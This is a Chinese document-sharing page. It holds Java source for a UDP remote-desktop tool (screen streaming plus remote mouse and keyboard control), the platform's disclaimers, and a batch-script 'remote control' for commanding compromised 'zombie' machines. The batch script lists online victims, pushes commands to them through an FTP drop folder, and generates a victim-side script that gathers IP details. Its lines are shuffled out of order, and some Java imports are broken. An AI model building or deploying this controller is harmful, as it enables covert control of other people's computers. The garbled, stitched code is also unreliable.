mouseEntered(MouseEvent e) {// TODO Auto-generated method stub//用不到}@Overridepublic void mouseClicked(MouseEvent e) {// TODO Auto-generated method stub//用不到}});pan.addMouseMotionListener(new MouseMotionListener() {@Overridepublic void mouseMoved(MouseEvent e) {// TODO Auto-generated method stubsendCommand("mouseMove("+e.getX()+","+e.getY()+")");}@Overridepublic void mouseDragged(MouseEvent e) {// TODO Auto-generated method stub//用不到}});pan.addMouseWheelListener(new MouseWheelListener() {@Overridepublic void mouseWheelMoved(MouseWheelEvent e) {// TODO Auto-generated method stubsendCommand("mouseWheel("+e.getWheelRotation()+")");}});this.addKeyListener(new KeyListener() {@Overridepublic void keyTyped(KeyEvent e) {// TODO Auto-generated method stub//用不到}@Overridepublic void keyReleased(KeyEvent e) {// TODO Auto-generated method stubsendCommand("keyRelease("+e.getKeyCode()+")");}@Overridepublic void keyPressed(KeyEvent e) {// TODO Auto-generated method stubsendCommand("keyPress("+e.getKeyCode()+")");}});pan.add(lb);this.sp=new JScrollPane(pan,JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_ALWAYS);this.getContentPane().add(this.sp);setSize(400,300); //设置窗口尺寸setVisible(true); //设置窗口可见//System.out.println("createClient");}public void updateScreen(byte[] input){//System.out.println("UpdateScreen");try{JPEGImageDecoder decoder=JPEGCodec.createJPEGDecoder(new ByteArrayInputStream(input));BufferedImage image=decoder.decodeAsBufferedImage();this.lb.setBounds(0, 0, image.getWidth(),image.getHeight());this.ico.setImage(image);this.validate();//this.lb.getGraphics().drawImage(image, 0, 0, image.getWidth(), image.getHeight(),this);}catch(Exception e){e.printStackTrace();}}private void sendCommand(String cmd){if(this.sock!=null){try{byte[] buf;cmd="command"+cmd;buf=cmd.getBytes();DatagramPacket p=new DatagramPacket(buf, buf.length, this.address, this.port);this.sock.send(p);//添加command字符的发送//System.out.println(cmd);}catch(Exception e){e.printStackTrace();}}}public static void main(String[] args) {try{DatagramSocket socket=new DatagramSocket();String hello="request\0";InetAddress address=InetAddress.getByName("10.2.60.14");int port=10000;DatagramPacket p=new DatagramPacket(hello.getBytes(), hello.length(), address, port);socket.send(p);new Thread(new ClientReciever(socket, address,port,new Client())).start();}catch(Exception e){e.printStackTrace();}}}ClientReciever类:/** 负责接收图像数据,一旦接收完一帧图片就更新客户端的显示**/import .DatagramPacket;import .DatagramSocket;import .InetAddress;import java.util.Arrays;public class ClientReciever implements Runnable {Client client;public ClientReciever(DatagramSocket sock,InetAddress address,int port,Client client) {this.client=client;this.client.sock=sock;this.client.address=address;this.client.port=port;}@Overridepublic void run() {// TODO Auto-generated method stubtry{byte[] data=new byte[1024*1024*10];DatagramPacket packet;int i=0;do{byte[] buf=new byte[1024*10];packet=new DatagramPacket(buf, buf.length);this.client.sock.receive(packet);//System.out.println("recieved");if(new String(packet.getData()).startsWith("datastart")){//更新图像,传回得到的字节数组:Arrays.copyOf(buffer, i)this.client.updateScreen(Arrays.copyOf(data, i));i=0;}else{for(int n=0;n<packet.getLength();n++){data[i+n]=packet.getData()[n];}i+=packet.getLength();}}while(true);}catch(Exception e){e.printStackTrace();}}}服务端:包括(Server,ScreenSender,CommandReciever)Server类:import java.awt.Robot;import .DatagramPacket;import .DatagramSocket;import .InetAddress;public class Server{Robot robot=null;DatagramSocket socket=null;public Server(){ try{robot=new Robot();}catch(Exception e){e.printStackTrace();}}public static void main(String[] args) {Server server=new Server();byte[] buf=new byte[1024];try{DatagramPacket p=new DatagramPacket(buf, buf.length);server.socket=new DatagramSocket(10000);server.socket.receive(p);//System.out.println(new String(p.getData()));InetAddress address=p.getAddress();int port=p.getPort();new Thread(new ScreenSender(address, port, server.socket)).start();new Thread(new CommandReciever(server)).start();}catch(Exception e){e.printStackTrace();}}}ScreenSender类:import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayOutputStream;import .DatagramPacket;import .DatagramSocket;import .InetAddress;import java.util.Arrays;import com.sun.image.codec.jpeg.JPEGCodec;import com.sun.image.codec.jpeg.JPEGEncodeParam;import com.sun.image.codec.jpeg.JPEGImageEncoder;public class ScreenSender implements Runnable {DatagramSocket socket;InetAddress address;int port;public ScreenSender(InetAddress address,int port,DatagramSocket socket){this.socket=socket;this.address=address;this.port=port;}@Overridepublic void run() {// TODO Auto-generated method stubtry{do{BufferedImage image=new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));ByteArrayOutputStream output=new ByteArrayOutputStream();JPEGEncodeParam param=JPEGCodec.getDefaultJPEGEncodeParam(image);param.setQuality(0.25f,false);JPEGImageEncoder encoder=JPEGCodec.createJPEGEncoder(output, param);encoder.encode(image);encoder.getOutputStream().close();//System.out.println(output.size());byte[] buffer;buffer=output.toByteArray();int n=0;for(int i=0;i<buffer.length;i+=1024*10){byte[] buf;buf=Arrays.copyOfRange(buffer, i, Math.min(buffer.length, i+1024*10));DatagramPacket packet=new DatagramPacket(buf, buf.length, address, port);this.socket.send(packet);Thread.sleep(10);n++;}//System.out.println("send:"+n);byte[] buf="datastart\0".getBytes();DatagramPacket packet=new DatagramPacket(buf, buf.length, address, port);this.socket.send(packet);}while(true);}catch(Exception e){e.printStackTrace();}}}CommandReciever类:import java.awt.Robot;import java.awt.event.InputEvent;import .DatagramPacket;import .DatagramSocket;import java.util.Arrays;public class CommandReciever implements Runnable {DatagramSocket sock;Server server;Robot robot=null;CommandReciever(Server server){this.sock=server.socket;this.server=server;try{this.robot=new Robot();}catch(Exception e){e.printStackTrace();}}@Overridepublic void run() {// TODO Auto-generated method stubtry{DatagramPacket packet;do{byte[] buf=new byte[100];packet=new DatagramPacket(buf, buf.length);this.sock.receive(packet);String cmd=new String(Arrays.copyOf(packet.getData(), packet.getLength()));cmd=cmd.substring("command".length());String event=cmd.substring(0, cmd.indexOf("("));System.out.println(cmd);int p1=cmd.indexOf("(");int p2=cmd.indexOf(")");int n=0;if(event.equals("keyRelease")){n=Integer.parseInt(cmd.substring(p1+1, p2));robot.keyRelease(n);}else if(event.equals("keyPress")){n=Integer.parseInt(cmd.substring(p1+1, p2));robot.keyPress(n);}else if(event.equals("mouseWheel")){n=Integer.parseInt(cmd.substring(p1+1, p2));robot.mouseWheel(n);}else if(event.equals("mouseMove")){int x;int y;x=Integer.parseInt(cmd.substring(p1+1, cmd.indexOf(",")));y=Integer.parseInt(cmd.substring(cmd.indexOf(",")+1, p2));robot.mouseMove(x, y);}else if(event.equals("mouseRelease")){n=Integer.parseInt(cmd.substring(p1+1, p2));if (n== 1) {robot.mouseRelease(InputEvent.BUTTON1_MASK);}if (n== 2) {robot.mouseRelease(InputEvent.BUTTON2_MASK);}if (n== 3) {robot.mouseRelease(InputEvent.BUTTON3_MASK);}}else if(event.equals("mousePress")){n=Integer.parseInt(cmd.substring(p1+1, p2));if (n== 1) {robot.mousePress(InputEvent.BUTTON1_MASK);}if (n== 2) {robot.mousePress(InputEvent.BUTTON2_MASK);}if (n==3) {robot.mousePress(InputEvent.BUTTON3_MASK);}}System.out.println(n);}while(true);}catch(Exception e){e.printStackTrace();}}}。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
echo × 声明: ×
echo × ×
echo × 感谢小车灯(csoop)的帮助,也请高人完善优化此BAT,一起讨论 ×
echo × 落雪村——/bbs ×
echo × 此BAT远控目前是内部测试版本 ×
if %errorlevel%==0 goto h
if %errorlevel%==1 echo 没有发现此肉鸡返回的信息! 请手工确认!&ping -n 5 127.0.0.1>nul&goto b
rem 提取肉鸡返回信息
:h
copy D:\黑\梦\ftp\%b%\2.txt %d%返回信息.txt
if not exist 2.txt echo 没有肉鸡在线&ping -n 5 127.0.0.1>nul&del 0.txt 1.txt&goto gn
for /f "tokens=*" %%i in (2.txt) do @echo %%i
del 0.txt 1.txt
echo.
echo.
echo × 作者仅做一种技术研究和探讨 ×
echo × 请使用者遵守国家和当地法规,如做非法行为,与本人无关 ×
echo × ByZ-l ×
for /f "tokens=*" %%a in (%d%返回信息.txt) doecho %%a
echo.
echo.
echo.
set /p a="输入功能序号:"
cls
if %a%==1 goto a
if %a%==2 goto b
if %a%==3 goto c
if %a%==4 goto d
echo.
echo.
set /p d="把要执行的命令拖入 "
copy %d% %ml%\%b%\命令.bat
echo.
echo.
set /p r="是否要等待肉鸡返回的信息? Y OR N "
IF %r%==y goto g
if %r%==n goto gn
rem 声明
:e
echo rem 获取IP>%batm%.bat
echo ipconfig^>^>0.txt>>%batm%.bat
echo find "IP Address. . . . . . . . . . . . :" 0.txt^>1.txt>>%batm%.bat
cls
@echo @echo off>>bat.bat
@echo color c>>bat.bat
@echo mode con:cols=38 lines=10>>bat.bat
@echo title BAT远控——控制端 (内部测试版) By: QZ-L 落雪村——/bbs >>bat.bat
cls
if %e%==1 goto e
if %e%==2 goto f
if %e%==3 goto gn
echo 输入的序号不对 !
ping -n 5 127.0.0.1>nul
goto c
rem 将命令复制到ftp文件夹
:d
if not exist 2.txt echo 没有肉鸡在线&ping -n 5 127.0.0.1>nul&goto gn
@echo echo QQQQQQQQ QQ QQQQQQQQQQ >>bat.bat
@echo echo QQ QQ QQ QQ QQ QQ >>bat.bat
@echo echo QQ QQ QQQQ QQ >>bat.bat
echo 肉 鸡 上 线 时 间 IP地址
echo.
dir %ml%>0.txt
find "<DIR>" 0.txt>1.txt
for /f "skip=4 tokens=1,2,4" %%i in (1.txt) do echo %%i %%j %%k>>2.txt
if %t%==n echo 嘿嘿 既然你明白怎么还进帮助!
ping -n 5 127.0.0.1>nul
goto c
rem 判断肉鸡是否返回信息
:g
cls
echo 请等待肉鸡返回的信息.....
ping -n 60 127.0.0.1>nul
dir D:\黑\梦\ftp\%b%\ | find "2.txt"
if %errorlevel%==1 echo 没有此IP!&ping -n 5 127.0.0.1>nul&goto b
rem 帮助\声明
:c
cls
echo 1.声明 2.帮助 3.返回
set /p e="输入序号: "
set /p a="输入功能序号:"
cls
if %a%==1 goto a
if %a%==2 goto b
if %a%==3 goto c
if %a%==4 goto pz
if %a%==5 goto jc
echo 序号输入错误!
goto :gn
rem 显示在线肉鸡IP
:a
if not exist 2.txt echo 没有肉鸡在线&ping -n 5 127.0.0.1>nul&goto gn
echo.
echo.
echo.
echo.
echo.
rem 进入功能
:gn
cls
echo 菜单
echo -------------------------------------------------------------------------------
@echo echo QQ QQ QQ QQ QQ >>bat.bat
@echo echo QQQQQQQQ QQQQ QQQQ QQQQQQ>>bat.bat
@echo ping -n 5 127.0.0.1^>nul>>bat.bat
echo 1.显示在线肉鸡IP 2.执行命令 3.帮助\声明 4.配置被控端 5.检测肉鸡是否下线
echo -------------------------------------------------------------------------------
echo.
@echo echo QQQQQQ QQ QQ QQ >>bat.bat
@echo echo QQ QQ QQ QQ QQ >>bat.bat
@echo echo QQ QQ QQQQQQQQ QQ >>bat.bat
cls
echo 序号输入错误!
goto :gn
rem 配置bat控制端
:pz
set /p ym="输入ftp地址(域名转向)"
set /p name="ftp用户名 "
set /p pword="ftp密码 "
set /p batm="bat被控端名 (不要带后缀)"
echo.>>%batm%.bat
for /f "tokens=*" %%i in (2.txt) do @echo %%i
del 0.txt 1.txt
echo.
echo.
echo.
set /p a="输入功能序号:"
cls
if %a%==1 goto a
if %a%==2 goto b
if %a%==3 goto c
echo ××××××××××××××××××××××××××××××××××××××××
ping -n 8 127.0.0.1>nul
goto c
rem 帮助
:f
set /p t="拜托~~~ 提示语我写那么详细你都不明白? Y OR N ! "
if %t%==y echo ——恩.... 要怀疑你的智商了.....
if %a%==4 goto pz
cls
echo 序号输入错误!
goto :gn
rem 执行命令
:b
cls
if not exist 2.txt echo 没有肉鸡在线&ping -n 5 127.0.0.1>nul&goto gn
echo 肉鸡IP清单
echo.
for /f "tokens=3" %%i in (2.txt) do echo %%i
echo.
echo.
set /p b="输入要执行命令的肉鸡IP: "
cls
echo 肉 鸡 上 线 时 间 IP地址
echo.
for /f "tokens=*" %%i in (2.txt) do @echo %%i | find "%b%"